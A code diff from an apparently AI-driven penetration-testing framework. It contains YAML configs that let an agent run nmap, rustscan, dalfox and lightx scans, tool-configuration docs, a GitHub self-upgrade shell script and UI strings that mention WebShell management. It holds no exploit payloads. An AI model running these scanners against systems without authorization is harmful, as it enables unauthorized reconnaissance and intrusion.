- Keep `description` detailed for AI and docs.
- Use Markdown for readability.
3. **Defaults**
- Set sensible defaults for common parameters.
- Booleans often default to `false`.
- Numbers according to tool behavior.
4. **Validation**
- Document format and constraints.
- Give several example values.
- Mention limits and caveats.
5. **Safety**
- Add warnings for dangerous or privileged actions.
- Document permission requirements.
- Remind users to use only in authorized environments.
6. **Execution duration and timeout**
- If a tool often runs very long (e.g. still “running” after 1030 minutes), treat it as abnormal and:
- Set **config.yaml**`agent.tool_timeout_minutes` (default 10) so long runs are stopped and resources freed.
- Increase it (e.g. 20, 30) only when longer runs are needed; avoid `0` (no limit).
- Use “Stop task” on the task monitor to cancel the whole run.
- Prefer tools that support cancellation or an internal timeout so they align with the global timeout.
## Disabling a Tool
Set `enabled: false` or remove/rename the YAML file. Disabled tools disappear from the UI and MCP inventory.
Set `enabled: false` in the tools config, or remove/rename the file. Disabled tools are not listed and cannot be called by the AI.
## Tool Configuration Validation
On load, the system checks:
- ✅ Required fields: `name`, `command`, `enabled`.
- ✅ Parameter structure and types.
Invalid configs produce startup warnings but do not prevent the server from starting. Invalid tools are skipped; others still load.
## FAQ
### Q: How do I pass multiple parameter values?
A: Array parameters are turned into comma-separated strings. For multiple separate arguments, use `additional_args`.
### Q: How do I override a tools default arguments?
A: Some tools (e.g. `nmap`) support a `scan_type` parameter. Otherwise use `additional_args`.
### Q: A tool has been “running” for over 30 minutes. What should I do?
A: That usually means its stuck. You can:
1. Set `agent.tool_timeout_minutes` in **config.yaml** (default 10) so single tool runs are stopped after that many minutes.
2. Use “Stop task” on the task monitor to stop the run immediately.
3. If the tool legitimately needs more time, increase `tool_timeout_minutes` (avoid setting it to 0).
### Q: What if tool execution fails?
A: Check:
1. The tool is installed and on PATH.
2. The tool config is correct.
3. Parameter formats match what the tool expects.
4. Server logs for the exact error.
### Q: How can I test a tool configuration?
A: Use the config test utility:
```bash
go run cmd/test-config/main.go
```
### Q: How is parameter order controlled?
A: Use the `position` field for positional arguments. **Position 0** (e.g. gobusters `dir` subcommand) is placed right after the command, before any flag arguments, so CLIs that expect “subcommand + options” work. Other flags are added in the order they appear in `parameters`, then position 1, 2, …; `additional_args` is appended last.
## Tool Configuration Templates
### Basic template
```yaml
name: "tool_name"
command: "command"
enabled: true
short_description: "Short description (2050 chars)"
description: |
Full description: what it does, when to use it, and caveats.
parameters:
- name: "target"
type: "string"
description: "Target parameter"
required: true
position: 0
format: "positional"
- name: "additional_args"
type: "string"
description: "Extra CLI arguments"
required: false
format: "positional"
```
### Template with flag parameters
```yaml
name: "tool_name"
command: "command"
enabled: true
short_description: "Short description"
description: |
Full description.
parameters:
- name: "target"
type: "string"
description: "Target"
required: true
flag: "-t"
format: "flag"
- name: "option"
type: "bool"
description: "Option"
required: false
default: false
flag: "--option"
format: "flag"
- name: "level"
type: "int"
description: "Level"
required: false
default: 3
flag: "--level"
format: "combined"
- name: "additional_args"
type: "string"
description: "Extra arguments"
required: false
format: "positional"
```
## Related Documents
- Main project README: `../README.md`
- Tool list samples: `tools/*.yaml`
- API overview: see the main README
- Main project README: see `README.md` in the project root.
- Tool list: all YAML configs under `tools/`.
- API: see the main README for API details.
+8 -3
View File
@@ -1,5 +1,8 @@
name: "dalfox"
command: "dalfox"
# dalfox v2+ 使用子命令,单目标模式为 `dalfox url <target>`,不再支持根级的 -u
args:
- "url"
enabled: true
short_description: "高级XSS漏洞扫描器"
description: |
@@ -19,10 +22,12 @@ description: |
parameters:
- name: "url"
type: "string"
description: "目标URL"
description: |
目标URL。dalfox 单目标模式为子命令 url,此处作为 url 后的第一个位置参数传入。
示例等价 CLIdalfox url "http://target/page?q=test"
required: true
flag: "-u"
format: "flag"
position: 0
format: "positional"
- name: "pipe_mode"
type: "bool"
description: "使用管道模式输入"
+1
View File
@@ -143,6 +143,7 @@ parameters:
format: "positional"
- name: "payloads"
type: "array"
item_type: "string"
description: "载荷列表(数组格式),如 [\"test1\", \"test2\", \"test3\"]"
required: true
position: 4
+45
View File
@@ -0,0 +1,45 @@
name: "lightx"
command: "lightx"
enabled: false
short_description: "轻量级资产发现与漏洞扫描工具"
description: |
Lightx 是一个高效的轻量级扫描工具,支持对单个目标、IP 段或文件列表进行快速探测。
**主要功能:**
- 支持多种目标格式(URL, IP, CIDR, 域名)
- 支持从文件批量读取目标
- 快速资产发现与服务识别
- 轻量级并发扫描
**使用场景:**
- 批量资产存活检测
- 网段快速扫描
- 域名信息收集
- 渗透测试前期侦察
**目标格式示例:**
- 单个 URL: http://example.com
- 单个 IP: 192.168.1.1
- IP 段: 192.168.1.1/24
- 域名: example.com
- 文件: targets.txt
parameters:
- name: "target"
type: "string"
description: |
扫描目标,支持多种格式。
**支持的格式:**
- **URL**: "http://example.com" 或 "https://target.com/path"
- **IP 地址**: "192.168.1.1"
- **IP 段 (CIDR)**: "192.168.1.0/24", "10.0.0.0/8"
- **域名**: "example.com" (不带协议头)
- **文件路径**: "/path/to/targets.txt" (文件中每行一个目标)
**示例值:**
- "http://172.16.0.4:9000"
- "192.168.1.1/24"
- "targets.txt"
required: true
flag: "-t"
format: "flag"
-86
View File
@@ -1,86 +0,0 @@
name: "nmap-advanced"
command: "nmap"
enabled: true
short_description: "高级Nmap扫描,支持自定义NSE脚本和优化时序"
description: |
高级Nmap扫描工具,支持自定义NSE脚本、优化时序和多种扫描技术。
**主要功能:**
- 多种扫描技术(SYN, TCP, UDP等)
- 自定义NSE脚本
- 时序优化
- OS检测和版本检测
**使用场景:**
- 高级网络扫描
- 深度安全评估
- 渗透测试
- 网络侦察
parameters:
- name: "target"
type: "string"
description: "目标IP地址或主机名"
required: true
position: 0
format: "positional"
- name: "scan_type"
type: "string"
description: "扫描类型(-sS, -sT, -sU等)"
required: false
format: "template"
template: "{value}"
default: "-sS"
- name: "ports"
type: "string"
description: "要扫描的端口"
required: false
flag: "-p"
format: "flag"
- name: "timing"
type: "string"
description: "时序模板(T0-T5"
required: false
format: "template"
template: "-T{value}"
default: "4"
- name: "nse_scripts"
type: "string"
description: "要运行的自定义NSE脚本"
required: false
flag: "--script"
format: "flag"
- name: "os_detection"
type: "bool"
description: "启用OS检测"
required: false
flag: "-O"
format: "flag"
default: false
- name: "version_detection"
type: "bool"
description: "启用版本检测"
required: false
flag: "-sV"
format: "flag"
default: false
- name: "aggressive"
type: "bool"
description: "启用激进扫描"
required: false
flag: "-A"
format: "flag"
default: false
- name: "additional_args"
type: "string"
description: |
额外的nmap-advanced参数。用于传递未在参数列表中定义的nmap-advanced选项。
**示例值:**
- 根据工具特性添加常用参数示例
**注意事项:**
- 多个参数用空格分隔
- 确保参数格式正确,避免命令注入
- 此参数会直接追加到命令末尾
required: false
format: "positional"
+53 -76
View File
@@ -1,108 +1,85 @@
name: "nmap"
command: "nmap"
args: ["-sT", "-sV", "-sC"] # 固定参数TCP连接扫描版本检测、默认脚本
# 默认TCP 连接扫描 + 版本检测 + 默认 NSE 脚本(无 root 也可用)
args: ["-sT", "-sV", "-sC"]
enabled: true
# 简短描述(用于工具列表,减少token消耗)- 一句话说明工具用途
short_description: "网络扫描工具,用于发现网络主机、开放端口和服务"
# 工具详细描述 - 帮助大模型理解工具用途和使用场景
short_description: "网络扫描:端口/服务/脚本;可选时序、自定义 NSE、OS 检测(需 root"
description: |
网络映射端口扫描工具,用于发现网络中的主机、服务和开放端口
网络映射端口扫描。
**主要功能**
- 主机发现:检测网络中的活动主机
- 端口扫描:识别目标主机上开放的端口
- 服务识别:检测运行在端口上的服务类型和版
- 操作系统检测:识别目标主机的操作系统类型
- 漏洞检测:使用NSE脚本检测常见漏洞
**默认行为(只传 target/ports 即可)**
- `-sT` TCP 连接扫描(无需 root
- `-sV` 版本检测
- `-sC` 默认 NSE 脚
**使用场景**
- 网络资产发现和枚举
- 安全评估和渗透测试
- 网络故障排查
- 端口和服务审计
**可选增强**
- `timing``-T0``-T5` 时序
- `nse_scripts``--script` 自定义脚本(如 `vuln`、`http-*`
- `os_detection``-O` **必须 root**,否则 nmap 会 QUITTING
- `aggressive``-A` **必须 root**(含 OS 检测)
- `scan_type`:若传入则**整段替换**上述默认 `-sT -sV -sC`,需自行写上需要的选项(如 `-sT -sV`)
**注意事项:**
- 使用 -sT (TCP连接扫描) 而不是 -sS (SYN扫描),因为 -sS 需要root权限
- 扫描速度取决于网络延迟和目标响应
- 某些扫描可能被防火墙或IDS检测到
- 请确保有权限扫描目标网络
# 参数定义
- `-sS` SYN 扫描需要 root;无 root 请用默认或 `-sT`
- 扫描全端口 `1-65535` 非常慢,建议先常用端口
- 请确保有权限扫描目标
parameters:
- name: "target"
type: "string"
description: |
目标IP地址或域名。可以是单个IP、IP范围、CIDR格式或域名。
目标 IP、主机名、CIDR 或域名URL 会自动提取主机部分
**示例**
- 单个IP: "192.168.1.1"
- IP范围: "192.168.1.1-100"
- CIDR: "192.168.1.0/24"
- 域名: "example.com"
- URL: "https://example.com" (会自动提取域名部分)
**注意事项:**
- 如果提供URL,会自动提取域名部分
- 确保目标地址格式正确
- 必需参数,不能为空
**示例:** `192.168.1.1`、`10.0.0.0/24`、`example.com`
required: true
position: 0 # 位置参数,放在命令最后
position: 1
format: "positional"
- name: "ports"
type: "string"
description: |
要扫描的端口范围。可以是单个端口、端口范围、逗号分隔的端口列表,或特殊值。
**示例值:**
- 单个端口: "80"
- 端口范围: "1-1000"
- 多个端口: "80,443,8080,8443"
- 组合: "80,443,8000-9000"
- 常用端口: "1-1024"
- 所有端口: "1-65535"
- 快速扫描: "80,443,22,21,25,53,110,143,993,995"
**注意事项:**
- 如果不指定,将扫描默认的1000个常用端口
- 扫描所有端口(1-65535)会非常耗时
- 建议先扫描常用端口,再根据结果决定是否扫描全部端口
端口范围。示例:`80`、`1-1000`、`80,443,8080`、`1-65535`(全端口很慢)
required: false
flag: "-p"
format: "flag"
- name: "timing"
type: "string"
description: "时序模板 T0–T5,数字越大越快。示例:`4` 生成 `-T4`"
required: false
format: "template"
template: "-T{value}"
- name: "nse_scripts"
type: "string"
description: "NSE 脚本,传给 `--script`。示例:`vuln`、`http-title,http-headers`"
required: false
flag: "--script"
format: "flag"
- name: "os_detection"
type: "bool"
description: |
启用 `-O` OS 检测。**必须 root**;无 root 请保持 false。
required: false
flag: "-O"
format: "flag"
default: false
- name: "aggressive"
type: "bool"
description: |
启用 `-A` 激进扫描(含 OS 检测)。**必须 root**;无 root 请保持 false。
required: false
flag: "-A"
format: "flag"
default: false
- name: "scan_type"
type: "string"
description: |
扫描类型选项。可以覆盖默认的扫描类型
**常用选项:**
- "-sV": 版本检测
- "-sC": 默认脚本扫描
- "-sS": SYN扫描(需要root权限)
- "-sT": TCP连接扫描(默认)
- "-sU": UDP扫描
- "-A": 全面扫描(OS检测、版本检测、脚本扫描、路由追踪)
**注意事项:**
- 多个选项可以组合,用空格分隔,例如: "-sV -sC"
- 默认已包含 "-sT -sV -sC"
- 如果指定此参数,将替换默认的扫描类型
扫描类型选项;**若填写则替换默认的 `-sT -sV -sC`**,只保留你写的选项
多选项用空格分隔,例如:`-sT -sV`、`-sU`UDP)。
required: false
format: "template"
template: "{value}"
- name: "additional_args"
type: "string"
description: |
额外的Nmap参数。用于传递未在参数列表中定义的Nmap选项
**示例值:**
- "--script vuln": 运行漏洞检测脚本
- "-O": 操作系统检测
- "-T4": 时间模板(0-5,数字越大越快)
- "--max-retries 3": 最大重试次数
- "-v": 详细输出
**注意事项:**
- 多个参数用空格分隔
- 确保参数格式正确,避免命令注入
- 此参数会直接追加到命令末尾
额外参数,按空格追加到命令末尾
示例:`--max-retries 3`、`-v`、`-Pn`
required: false
format: "positional"
+119 -25
View File
@@ -1,58 +1,152 @@
name: "rustscan"
command: "rustscan"
enabled: true
short_description: "超快速端口扫描工具,使用Rust编写"
short_description: "超快速端口扫描Rust);可选 greppable、批量与脚本级别"
description: |
Rustscan是一个用Rust编写的超快速端口扫描工具,可以快速扫描大量端口
RustScan 2.x:快速端口发现,可选再调 Nmap 脚本
**主要功能**
- 超快速端口扫描
- 可配置的扫描速度
- 支持Nmap脚本集成
- 批量扫描支持
** `rustscan -h` 对应关系**
- `-a` / `--addresses`:扫描目标列表(逗号分隔或文件)
- `-p`:逗号分隔端口;`-r`:端口范围 `start-end`(二选一或与 `-p` 配合以 CLI 为准)
- `-g` / `--greppable`:只输出端口,便于 grep/管道
- `--scripts`**官方默认是 default**(会跑 Nmap);设为 **none** 可只做端口发现、更快
- `-b` batch-size、`-t` timeout、`--scan-order` 等可微调速度与顺序
**使用场景**
- 快速端口扫描
- 大规模网络扫描
- 渗透测试信息收集
**使用建议**
- 快速端口、不要 Nmap`scripts` 用 `none`,必要时加 `-g`
- 需要服务识别/脚本:用 `default` 或 `custom`,并确保本机有 nmap
parameters:
# -a, --addresses
- name: "target"
type: "string"
description: "目标IP地址或主机名"
description: |
对应 `-a`:逗号分隔的 CIDR、IP 或主机名;也可为含换行/列表的文件路径。
示例:`192.168.1.1`、`10.0.0.1,10.0.0.2`、`192.168.0.0/24`
required: true
flag: "-a"
format: "flag"
# -p, --ports;范围请用 range (-r),勿把 1-1000 填进 ports
- name: "ports"
type: "string"
description: "要扫描的端口(如:22,80,443或1-1000"
description: |
要扫描的端口,**仅**逗号分隔列表,对应 `-p`。
示例:`22,80,443`、`80,443,8080`。
若要范围如 `1-1000`,请用参数 **range**`-r`),不要写在本参数。
required: false
flag: "-p"
format: "flag"
# -r, --range(与 ports 列表二选一或按官方说明组合)
- name: "range"
type: "string"
description: |
端口范围,格式 start-end,对应 `-r`。
示例:`1-1000`、`1-65535`(全端口很慢)。
离散端口如 `22,80,443` 请用 **ports**`-p`),不要写在本参数。
required: false
flag: "-r"
format: "flag"
# -u, --ulimit
- name: "ulimit"
type: "int"
description: "文件描述符限制"
description: "提升扫描用的 ulimit;依系统 fd 限制调整"
required: false
flag: "-u"
format: "flag"
default: 5000
# --scriptsnone | default | customCLI 默认 default
- name: "scripts"
type: "bool"
description: "在发现的端口上运行Nmap脚本"
type: "string"
description: |
脚本级别;**必须**传字符串,勿传 true/false。
- **none**:不跑 Nmap,仅端口发现(最快)
- **default**:与 rustscan 官方默认一致,会调 Nmap
- **custom**:自定义脚本,常需配合 additional_args
required: false
flag: "--scripts"
format: "flag"
default: "none"
options:
- "none"
- "default"
- "custom"
# -g, --greppable:仅端口列表,无 Nmap 输出
- name: "greppable"
type: "bool"
description: "Greppable 模式:只输出端口,适合脚本解析或写入文件"
required: false
flag: "-g"
format: "flag"
default: false
# -b, --batch-size [default: 4500]
- name: "batch_size"
type: "int"
description: "每批并发端口数;越大越快,受 OS 打开文件数限制。官方默认 4500"
required: false
flag: "-b"
format: "flag"
# -t, --timeout ms [default: 1500]
- name: "timeout_ms"
type: "int"
description: "单端口超时(毫秒)。官方默认 1500"
required: false
flag: "-t"
format: "flag"
# --scan-order serial | random [default: serial]
- name: "scan_order"
type: "string"
description: "扫描顺序:serial 升序;random 随机"
required: false
flag: "--scan-order"
format: "flag"
options:
- "serial"
- "random"
# --toptop 1000 端口
- name: "top_ports"
type: "bool"
description: "使用内置 top 1000 端口(等价于传 `--top`"
required: false
flag: "--top"
format: "flag"
default: false
# -e, --exclude-ports
- name: "exclude_ports"
type: "string"
description: "排除端口,逗号分隔。示例:`80,443`"
required: false
flag: "-e"
format: "flag"
# -x, --exclude-addresses
- name: "exclude_addresses"
type: "string"
description: "排除地址,逗号分隔 CIDR/IP/主机"
required: false
flag: "-x"
format: "flag"
# --tries [default: 1]
- name: "tries"
type: "int"
description: "判定关闭前的重试次数;0 会被纠正为 1"
required: false
flag: "--tries"
format: "flag"
- name: "additional_args"
type: "string"
description: |
额外的rustscan参数。用于传递未在参数列表中定义的rustscan选项
**示例值:**
- 根据工具特性添加常用参数示例
**注意事项:**
- 多个参数用空格分隔
- 确保参数格式正确,避免命令注入
- 此参数会直接追加到命令末尾
未列在上面的选项可写在这里,空格分隔
示例:`--no-banner`、`--udp`、`-n`(忽略配置文件)、`-c /path/config.toml`、`--resolver 8.8.8.8`
required: false
format: "positional"
+421
View File
@@ -0,0 +1,421 @@
#!/usr/bin/env bash
set -euo pipefail
# CyberStrikeAI GitHub one-click upgrade script (Release/Tag)
#
# Default preserves:
# - config.yaml
# - data/
# - venv/ (disabled with --no-venv)
#
# Optional preserves (may overwrite upstream updates):
# - roles/
# - skills/
# - tools/
# Enable with --preserve-custom
ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
cd "$ROOT_DIR"
BINARY_NAME="cyberstrike-ai"
CONFIG_FILE="$ROOT_DIR/config.yaml"
DATA_DIR="$ROOT_DIR/data"
VENV_DIR="$ROOT_DIR/venv"
KNOWLEDGE_BASE_DIR="$ROOT_DIR/knowledge_base"
BACKUP_BASE_DIR="$ROOT_DIR/.upgrade-backup"
GITHUB_REPO="Ed1s0nZ/CyberStrikeAI"
TAG=""
PRESERVE_CUSTOM=0
PRESERVE_VENV=1
STOP_SERVICE=1
FORCE_STOP=0
YES=0
usage() {
cat <<EOF
Usage:
./upgrade.sh [--tag vX.Y.Z] [--preserve-custom] [--no-venv] [--no-stop]
[--force-stop] [--yes]
Options:
--tag <tag> Specify GitHub Release tag (e.g. v1.3.28).
If omitted, the script uses the latest release.
--preserve-custom Preserve roles/skills/tools (may overwrite upstream files).
Use with caution.
--no-venv Do not preserve venv/ (Python deps will be re-installed).
--no-stop Do not try to stop the running service.
--force-stop If no process matching current directory is found, also stop
any cyberstrike-ai processes (use with caution).
--yes Do not ask for confirmation.
Description:
The script backs up config.yaml/data/ (and optionally venv/roles/skills/tools) to
.upgrade-backup/
EOF
}
log() { printf "%s\n" "$*"; }
info() { log "[INFO] $*"; }
warn() { log "[WARN] $*"; }
err() { log "[ERROR] $*"; }
have_cmd() { command -v "$1" >/dev/null 2>&1; }
http_get() {
# $1: url
if have_cmd curl; then
# If GITHUB_TOKEN is provided, use it for api.github.com to avoid low rate limits.
if [[ -n "${GITHUB_TOKEN:-}" && "$1" == https://api.github.com/* ]]; then
# Do not use `-f` so we can parse GitHub error JSON bodies and show `message`.
curl -sSL -H "Authorization: Bearer ${GITHUB_TOKEN}" "$1"
else
# Do not use `-f` so we can parse GitHub error JSON bodies and show `message`.
curl -sSL "$1"
fi
elif have_cmd wget; then
wget -qO- "$1"
else
err "curl or wget is required to download GitHub releases. Please install one of them."
exit 1
fi
}
stop_service() {
# Try to stop the service that is running from the current project directory.
# If nothing is found and --force-stop is enabled, stop all cyberstrike-ai processes.
if [[ "$STOP_SERVICE" -ne 1 ]]; then
return 0
fi
local pids=""
if have_cmd pgrep; then
# Prefer matches where the command line contains the current project path.
pids="$(pgrep -f "${ROOT_DIR}.*${BINARY_NAME}" || true)"
if [[ -z "$pids" && "$FORCE_STOP" -eq 1 ]]; then
warn "No ${BINARY_NAME} process found under the current directory. Will try to force-stop all matching ${BINARY_NAME} processes."
pids="$(pgrep -f "${BINARY_NAME}" || true)"
fi
fi
if [[ -z "$pids" ]]; then
info "No ${BINARY_NAME} process detected (or no matching process). Skipping stop step."
return 0
fi
warn "Detected running PID(s): ${pids}"
for pid in $pids; do
if kill -0 "$pid" 2>/dev/null; then
info "Sending SIGTERM to PID=${pid}..."
kill -TERM "$pid" 2>/dev/null || true
fi
done
# Wait for exit
local deadline=$((SECONDS + 20))
while [[ $SECONDS -lt $deadline ]]; do
local alive=0
for pid in $pids; do
if kill -0 "$pid" 2>/dev/null; then
alive=1
break
fi
done
if [[ "$alive" -eq 0 ]]; then
info "Service stopped."
return 0
fi
sleep 1
done
warn "Timed out waiting for processes to exit. Still running PID(s): ${pids} (may still hold file handles)."
return 0
}
backup_dir_tgz() {
# $1: label, $2: path
local label="$1"
local path="$2"
if [[ -e "$path" ]]; then
info "Backing up ${label} -> ${BACKUP_BASE_DIR}/$(basename "$path").tgz"
tar -czf "${BACKUP_BASE_DIR}/$(basename "$path").tgz" -C "$ROOT_DIR" "$(basename "$path")"
fi
}
backup_config() {
if [[ -f "$CONFIG_FILE" ]]; then
cp -a "$CONFIG_FILE" "${BACKUP_BASE_DIR}/config.yaml"
fi
}
ensure_git_style_env() {
# No hard requirement; just a sanity check.
if [[ ! -f "$CONFIG_FILE" ]]; then
err "Could not find ${CONFIG_FILE}. Please verify you are in the correct project directory."
exit 1
fi
}
confirm_or_exit() {
if [[ "$YES" -eq 1 ]]; then
return 0
fi
if [[ ! -t 0 ]]; then
err "Non-interactive terminal detected. Please add --yes to continue."
exit 1
fi
warn "About to perform upgrade:"
info " - Preserve config.yaml: yes"
info " - Preserve data/: yes"
if [[ "$PRESERVE_VENV" -eq 1 ]]; then
info " - Preserve venv/: yes"
else
info " - Preserve venv/: no (will remove old venv and re-install deps)"
fi
if [[ "$PRESERVE_CUSTOM" -eq 1 ]]; then
info " - Preserve roles/skills/tools: yes (may overwrite upstream updates)"
else
info " - Preserve roles/skills/tools: no (will use upstream versions)"
fi
info " - Stop service: ${STOP_SERVICE}"
echo ""
read -r -p "Continue? (y/N) " ans
if [[ "${ans:-N}" != "y" && "${ans:-N}" != "Y" ]]; then
err "Cancelled."
exit 1
fi
}
resolve_tag() {
if [[ -n "$TAG" ]]; then
info "Using specified tag: $TAG"
return 0
fi
local api_url="https://api.github.com/repos/${GITHUB_REPO}/releases/latest"
info "Fetching latest Release..."
local json
json="$(http_get "$api_url")"
TAG="$(printf '%s' "$json" | python3 - <<'PY'
import json, sys
data=json.loads(sys.stdin.read() or "{}")
print(data.get("tag_name",""))
PY
)"
if [[ -z "$TAG" ]]; then
local msg
msg="$(printf '%s' "$json" | python3 -c "import sys,json; d=json.loads(sys.stdin.read() or '{}'); print(d.get('message',''))" 2>/dev/null || true)"
# Fallback: try query releases list (sometimes latest endpoint returns error JSON without tag_name).
local fallback_url="https://api.github.com/repos/${GITHUB_REPO}/releases?per_page=1"
info "Fallback to: ${fallback_url}"
local fallback_json
fallback_json="$(http_get "$fallback_url" 2>/dev/null || true)"
local fallback_tag
fallback_tag="$(printf '%s' "$fallback_json" | python3 -c "import sys,json; d=json.loads(sys.stdin.read() or '[]'); print(d[0].get('tag_name','') if isinstance(d,list) and d else '')" 2>/dev/null || true)"
if [[ -n "$fallback_tag" ]]; then
TAG="$fallback_tag"
info "Latest Release tag (fallback): $TAG"
return 0
fi
local snippet
snippet="$(printf '%s' "$json" | python3 -c "import sys; s=sys.stdin.read(); print(s[:300].replace('\\n',' '))" 2>/dev/null || true)"
if [[ -n "$msg" ]]; then
err "Failed to fetch latest tag: ${msg}"
else
err "Failed to fetch latest tag."
fi
if [[ -n "$snippet" ]]; then
err "API response snippet: ${snippet}"
fi
err "Please try using --tag to specify the version, or set export GITHUB_TOKEN=\"...\"."
exit 1
fi
info "Latest Release tag: $TAG"
}
update_config_version() {
# Replace config.yaml's version: ... with the specified tag.
local new_tag="$1"
python3 - "$CONFIG_FILE" "$new_tag" <<PY
import re, sys
path=sys.argv[1]
tag=sys.argv[2]
with open(path, "r", encoding="utf-8") as f:
lines=f.readlines()
out=[]
replaced=False
for line in lines:
if re.match(r'^\s*version\s*:', line):
out.append(f'version: "{tag}"\\n')
replaced=True
else:
out.append(line)
if not replaced:
# If no version field is found, insert at the beginning (near the top).
out.insert(0, f'version: "{tag}"\\n')
with open(path, "w", encoding="utf-8") as f:
f.writelines(out)
PY
}
sync_code() {
local tmp_dir="$1"
local new_src_dir="$2"
# rsync sync: overwrite files from the new version and delete removed files.
# Preserve user data/config (and optional directories).
if ! have_cmd rsync; then
err "rsync not found. This script depends on rsync for safe synchronization. Please install it and retry."
exit 1
fi
local -a rsync_excludes
rsync_excludes+=( "--exclude=.upgrade-backup/" )
rsync_excludes+=( "--exclude=config.yaml" )
rsync_excludes+=( "--exclude=data/" )
if [[ "$PRESERVE_VENV" -eq 1 ]]; then
rsync_excludes+=( "--exclude=venv/" )
fi
# knowledge_base may not be referenced in config, but many users treat it as the knowledge files directory.
if [[ -d "$KNOWLEDGE_BASE_DIR" ]]; then
rsync_excludes+=( "--exclude=knowledge_base/" )
fi
if [[ "$PRESERVE_CUSTOM" -eq 1 ]]; then
rsync_excludes+=( "--exclude=roles/" )
rsync_excludes+=( "--exclude=skills/" )
rsync_excludes+=( "--exclude=tools/" )
fi
# Ensure this upgrade script itself is not deleted.
rsync_excludes+=( "--exclude=upgrade.sh" )
# shellcheck disable=SC2068
info "Syncing code into current directory (preserving data/config; using rsync --delete)..."
rsync -a --delete \
${rsync_excludes[@]} \
"${new_src_dir}/" "${ROOT_DIR}/"
}
main() {
ensure_git_style_env
while [[ $# -gt 0 ]]; do
case "$1" in
--tag)
TAG="${2:-}"
shift 2
;;
--preserve-custom)
PRESERVE_CUSTOM=1
shift 1
;;
--no-venv)
PRESERVE_VENV=0
shift 1
;;
--no-stop)
STOP_SERVICE=0
shift 1
;;
--force-stop)
FORCE_STOP=1
shift 1
;;
--yes)
YES=1
shift 1
;;
-h|--help)
usage
exit 0
;;
*)
err "Unknown parameter: $1"
usage
exit 1
;;
esac
done
confirm_or_exit
stop_service
resolve_tag
local ts
ts="$(date +"%Y%m%d_%H%M%S")"
BACKUP_BASE_DIR="${BACKUP_BASE_DIR}/${ts}"
mkdir -p "$BACKUP_BASE_DIR"
info "Starting backup into: $BACKUP_BASE_DIR"
backup_config
backup_dir_tgz "data" "$DATA_DIR"
if [[ "$PRESERVE_VENV" -eq 1 ]]; then
backup_dir_tgz "venv" "$VENV_DIR"
else
if [[ -d "$VENV_DIR" ]]; then
warn "With --no-venv: removing old venv/ (run.sh will re-install Python deps after upgrade)."
rm -rf "$VENV_DIR"
fi
fi
if [[ -d "$KNOWLEDGE_BASE_DIR" ]]; then
backup_dir_tgz "knowledge_base" "$KNOWLEDGE_BASE_DIR"
fi
if [[ "$PRESERVE_CUSTOM" -eq 1 ]]; then
backup_dir_tgz "roles" "$ROOT_DIR/roles"
backup_dir_tgz "skills" "$ROOT_DIR/skills"
backup_dir_tgz "tools" "$ROOT_DIR/tools"
fi
local tmp_dir
tmp_dir="$(mktemp -d)"
trap 'rm -rf "$tmp_dir" >/dev/null 2>&1 || true' EXIT
local tarball="${tmp_dir}/source.tar.gz"
local url="https://github.com/${GITHUB_REPO}/archive/refs/tags/${TAG}.tar.gz"
info "Downloading source package: ${url}"
http_get "$url" >"$tarball"
info "Extracting source package..."
tar -xzf "$tarball" -C "$tmp_dir"
# GitHub tarball usually creates a top-level directory.
local extracted_dir
extracted_dir="$(ls -d "${tmp_dir}"/*/ 2>/dev/null | head -n 1 || true)"
if [[ -z "$extracted_dir" || ! -f "${extracted_dir}/run.sh" ]]; then
err "run.sh not found in the extracted directory. Please check network/download contents."
exit 1
fi
sync_code "$tmp_dir" "$extracted_dir"
# Update config.yaml version display
if [[ -f "$CONFIG_FILE" ]]; then
info "Updating config.yaml version field to: $TAG"
update_config_version "$TAG"
fi
info "Upgrade complete. Starting service..."
chmod +x ./run.sh
./run.sh
}
main "$@"
+2826 -4
View File
File diff suppressed because it is too large Load Diff
+680 -26
View File
@@ -1,4 +1,8 @@
{
"lang": {
"zhCN": "中文",
"enUS": "English"
},
"common": {
"ok": "OK",
"cancel": "Cancel",
@@ -14,11 +18,14 @@
"confirm": "Confirm",
"copy": "Copy",
"copied": "Copied",
"copyFailed": "Copy failed"
"copyFailed": "Copy failed",
"view": "View",
"actions": "Actions"
},
"header": {
"title": "CyberStrikeAI",
"apiDocs": "API Docs",
"github": "GitHub",
"logout": "Sign out",
"language": "Interface language",
"backToDashboard": "Back to dashboard",
@@ -39,17 +46,21 @@
"infoCollect": "Recon",
"tasks": "Tasks",
"vulnerabilities": "Vulnerabilities",
"webshell": "WebShell Management",
"chatFiles": "File Management",
"mcp": "MCP",
"mcpMonitor": "MCP Monitor",
"mcpManagement": "MCP Management",
"knowledge": "Knowledge",
"knowledgeRetrievalLogs": "Retrieval history",
"knowledgeManagement": "Knowledge management",
"knowledgeManagement": "Knowledge Management",
"skills": "Skills",
"skillsMonitor": "Skills monitor",
"skillsManagement": "Skills management",
"skillsManagement": "Skills Management",
"agents": "Agents",
"agentsManagement": "Agent management",
"roles": "Roles",
"rolesManagement": "Roles management",
"rolesManagement": "Roles Management",
"settings": "System settings"
},
"dashboard": {
@@ -99,6 +110,7 @@
},
"chat": {
"newChat": "New chat",
"toggleConversationPanel": "Collapse/expand conversation list",
"searchHistory": "Search history...",
"conversationGroups": "Conversation groups",
"addGroup": "New group",
@@ -121,6 +133,7 @@
"copyMessageTitle": "Copy message",
"emptyGroupConversations": "This group has no conversations yet.",
"noMatchingConversationsInGroup": "No matching conversations found.",
"noHistoryConversations": "No conversation history yet",
"renameGroupPrompt": "Please enter new name:",
"deleteGroupConfirm": "Are you sure you want to delete this group? Conversations in the group will not be deleted, but will be removed from the group.",
"deleteConversationConfirm": "Are you sure you want to delete this conversation?",
@@ -130,10 +143,66 @@
"executeFailed": "Execution failed",
"callOpenAIFailed": "Call OpenAI failed",
"systemReadyMessage": "System is ready. Please enter your test requirements, and the system will automatically perform the corresponding security tests.",
"addNewGroup": "+ New group"
"addNewGroup": "+ New group",
"callNumber": "Call #{{n}}",
"iterationRound": "Iteration {{n}}",
"aiThinking": "AI thinking",
"planning": "Planning",
"toolCallsDetected": "Detected {{count}} tool call(s)",
"callTool": "Call tool: {{name}} ({{index}}/{{total}})",
"toolExecComplete": "Tool {{name}} completed",
"toolExecFailed": "Tool {{name}} failed",
"knowledgeRetrieval": "Knowledge retrieval",
"knowledgeRetrievalTag": "Knowledge retrieval",
"error": "Error",
"taskCancelled": "Task cancelled",
"unknownTool": "Unknown tool",
"einoAgentReplyTitle": "Sub-agent reply",
"noDescription": "No description",
"noResponseData": "No response data",
"loading": "Loading...",
"loadFailed": "Load failed: {{message}}",
"noAttackChainData": "No attack chain data",
